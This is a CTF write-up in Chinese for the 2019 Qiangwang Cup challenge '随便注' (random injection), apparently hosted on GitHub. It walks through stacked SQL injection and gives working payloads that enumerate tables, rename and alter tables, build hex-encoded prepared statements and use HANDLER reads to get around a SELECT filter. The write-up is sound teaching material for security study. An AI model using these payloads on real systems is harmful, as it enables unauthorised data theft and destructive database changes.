Skip to content

Latest commit

 

History

History
84 lines (52 loc) · 1.97 KB

[强网杯 2019]随便注.md

File metadata and controls

84 lines (52 loc) · 1.97 KB

[强网杯 2019]随便注

知识点

堆叠注入

解题

注入发现为单引号注入

image-20231109223058542

查看列

image-20231109223131382

发现为2

联合注入查一下信息

image-20231109223245571

发现过滤了select

堆叠注入试试,就是通过;号注入多条SQL语句。

1';show databases%23
1';show tables%23
# 表名为数字时,要用反引号包起来查询。
1';show columns from `1919810931114514`%23
1';show columns from words%23

查出来了表1919810931114514words

1919810931114514表有flag

words表有id列和data

但是select被过滤了,需要绕过

方法一 更改查询表名为目标表名及更改对应字段

  1. 通过rename先把words 表改名为其他的表名。
  2. 1919810931114514表的名字改为words
  3. words表添加新的列名id
  4. flag字段名改为与words中相同的列名data

然后就可以通过查询id得方法查出来flag字段的内容了

1';rename table words to word1;rename table `1919810931114514` to words;alter table words add id int not NULL auto_increment primary key;alter table words change flag data varchar(100);%23

提交payload后,再查询id1的数据,就可以查到flag

方法二 预处理语句配合十六进制编码

因为select被过滤了

所以先将select * from `1919810931114514`进行16进制编码

再构造预处理语句

;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
# 因上述方法更改了flag表,所以真实的flag在words表中,所以重新编码
0';Set@a=0x73656c656374202a2066726f6d2060776f72647360;prepare execsql from @a;execute execsql;%23

方法三 非预期

1'; handler `1919810931114514` open as `a`; handler `a` read next;#

666c6167